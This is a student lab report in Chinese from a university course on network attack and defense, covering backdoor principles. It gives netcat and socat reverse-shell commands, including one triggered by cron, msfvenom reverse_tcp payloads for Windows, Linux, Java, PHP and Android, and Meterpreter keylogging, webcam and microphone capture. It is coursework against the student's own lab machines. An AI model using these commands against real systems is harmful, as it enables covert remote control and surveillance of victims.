2017-2018-2 『網絡對抗技術』Exp2:后門原理與實踐
————————CONTENTS————————
- 1. 后門原理與實踐實驗說明
- 2. 常用后門工具
- NC或netcat
- Win獲得Linux Shell
- Linux獲得Win Shell
- 3. Meterpreter
- 4. 實驗中遇到的問題及思考
- Metasploit如何生成各種類型的后門?
- 5. 實驗總結及體會
- 附:參考資料
1. 后門原理與實踐實驗說明及預備知識
一、實驗說明
-
任務一:使用netcat獲取主機操作Shell,cron啟動 (0.5分)
-
任務二:使用socat獲取主機操作Shell, 任務計划啟動 (0.5分)
-
任務三:使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell(0.5分)
-
任務四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權 (2分)
二、基礎問題回答
-
問:例舉你能想到的一個后門進入到你系統中的可能方式?
- 下載軟件時,如果沒有在官網,而是根據搜索引擎的推薦項隨意點開一個鏈接下載,往往會捆綁下載一些我們並不需要的軟件。這其中難免會有木馬病毒,從而對電腦安全產生威脅。
-
問:例舉你知道的后門如何啟動起來(win及linux)的方式?
- win:修改注冊表、設置為開機自啟動、誘導用戶點擊從而執行等等。
- Linux:可以通過crontab功能將木馬設為定時啟動,也可以通過對正常軟件的綁定注入shellcode達到開啟后門的目的。
-
問:Meterpreter有哪些給你映像深刻的功能?
- 這次試驗給我留下深刻印象的主要有獲取目標主機音頻、攝像頭、擊鍵記錄等內容。除此之外還有植入后門實施遠程控制、metsvc后滲透攻擊模塊等等。
-
問:如何發現自己有系統有沒有被安裝后門?
- 可以檢測網絡連接,查看是否有IP與本機建立連接;安裝專門的殺毒軟件,實時防護,並定期檢測電腦安全情況;查看任務計划程序、開機自啟動項中是否有可疑程序,等等。
2. 常用后門工具
任務一:Windows獲得Linux Shell
1、在Windows下使用ipconfig查看本機IP:

2、使用ncat.exe程序監聽本機的5303端口:

3、在Kali環境下,使用nc指令的-e選項反向連接Windows主機的5303端口:

4、成功獲得Kali的shell,如下圖所示:

任務二:Linux獲得Windows Shell
1、在Kali環境中使用ifconfig查看IP:

2、使用nc指令監聽5303端口:

3、在Windows下,使用ncat.exe程序的-e選項項反向連接Kali主機的5303端口:

4、Kali下可以看到Windows的命令提示,可以輸入Windows命令:

任務三:使用nc傳輸數據
1、Windows下監聽5303端口:

2、Kali下連接到Windows的5303端口:

3、建立連接之后,就可以傳輸數據了:

3. Meterpreter
任務一:使用netcat獲取主機操作Shell,cron啟動
1、在Windows系統下,監聽5303端口:

2、用crontab -e指令編輯一條定時任務
3、在最后一行添加45 * * * * /bin/netcat 172.16.8.28 5303 -e /bin/sh,意思是在每個小時的第45分鍾反向連接Windows主機的5303端口:

4、當時間到了17點45時,此時已經獲得了Kali的shell,可以輸入指令:

任務二:使用socat獲取主機操作Shell, 任務計划啟動
-
預備知識:
socat是ncat的增強版,它使用的格式是socat [options] <address> <address>,其中兩個address是必選項,而options 是可選項。- socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。
-
實踐過程:
1、在win10系統下,右擊屏幕左下角windows圖標,選擇“計算機管理”。

在任務計划程序創建任務,填寫任務名稱,並新建一個觸發器。

2、在操作->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5303 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe綁定到端口5303,同時把cmd.exe的stderr重定向到stdout上:

3、創建完成之后,按Windows+L快捷鍵鎖定計算機,再次打開時,可以發現之前創建的任務已經開始運行:

4、此時,在Kali環境下輸入指令socat - tcp:172.30.4.253:5303,這里的第一個參數-代表標准的輸入輸出,第二個流連接到Windows主機的5215端口,此時可以發現已經成功獲得了一個cmd shell:

任務三:使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
1、輸入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.4.253 LPORT=5303 -f exe > 20155303_backdoor.exe
生成后門程序:

2、通過nc指令將生成的后門程序傳送到Windows主機上:


3、在Kali上使用msfconsole指令進入msf控制台,使用監聽模塊,設置payload,設置反彈回連的IP和端口:

4、設置完成后,執行監聽:

5、運行Windows下的后門程序:

6、此時Kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell:

任務四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容
1、使用record_mic指令可以截獲一段音頻:

2、使用webcam_snap指令可以使用攝像頭進行拍照:

效果如下:

3、使用screenshot指令可以進行截屏:

效果如下:

4、使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄:

4. 實驗中遇到的問題及思考
『問題:Metasploit如何生成各種類型的后門?』
Metasploit可以生成各種格式的后門。除了本次實驗生成的exe(Windows下的后門),還有Linux環境下的后門、PHP后門、java后門、Android后門,以及shellcode等等。具體如何生成各種類型的后門呢?
1、 Linux下的后門:操作方法與Windows后門類似,輸入msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.30.4.253 LPORT=5303 x> 20155303_backdoor生成木馬。
與windows系統唯一的區別是,在linux下生成的木馬需要通過使用命令chmod +x 程序名賦予可執行的權限。
執行時使用./程序名即可。

2、生成Java后門程序:Java程序在windows下和在linux下都可以生效執行。使用msfvenom -p java/meterpreter/reverse_tcp lhost=172.30.4.253 lport=5303 x> 20155303_backdoor.jar生成木馬。

3、生成PHP后門程序:使用msfvenom -p php/meterpreter/reverse_tcp lhost=172.30.4.253 lport=5303 x> 20155303_backdoor.php生成木馬。
把生成的木馬php文件放到網站上面,當別人訪問的時候就會執行。

4、生成Android后門程序:使用msfvenom -p android/meterpreter/reverse_tcp lhost=172.30.4.253 lport=5303 x> 20155303_backdoor.apk生成木馬。
此時的木馬是apk安裝包形式,誘導用戶點擊此安裝包,就會執行。
5、生成shellcode:使用msfvenom -pwindows/meterpreter/reverse_http lhost=172.30.4.253 lport=5303 -f c生成一段shellcode。

將此shellcode寫入可執行文件,執行時就會回連攻擊機。
5. 實驗總結及體會
- 通過之前的學習我們了解到,后門就是不經過正常認證流程而訪問系統的通道。攻擊者可以連接這個程序,從而遠程執行各種指令,達到攻擊的目的。此次實驗我們大致實踐了一遍后門的形成及植入過程,最后還嘗試了對靶機進行控制。雖然內容簡單,但后門的基本原理已在我們的腦海中留下了一個模糊的輪廓。在今后的學習中,有待進一步深入研究后門的各種理論知識,以擺脫本實驗中一些基本的束縛條件。
- 這兩次實驗的難度都不大,且趣味性很強。通過模仿老師教程以及前輩的step by step博客,基本都能夠完成實驗。學到這里,仿佛才剛剛開始接觸“信息安全”一些關鍵性的內容。而前期課程,比如信息安全系統設計基礎、計算機網絡,以及各種編程知識的重要性也漸漸體現出來。
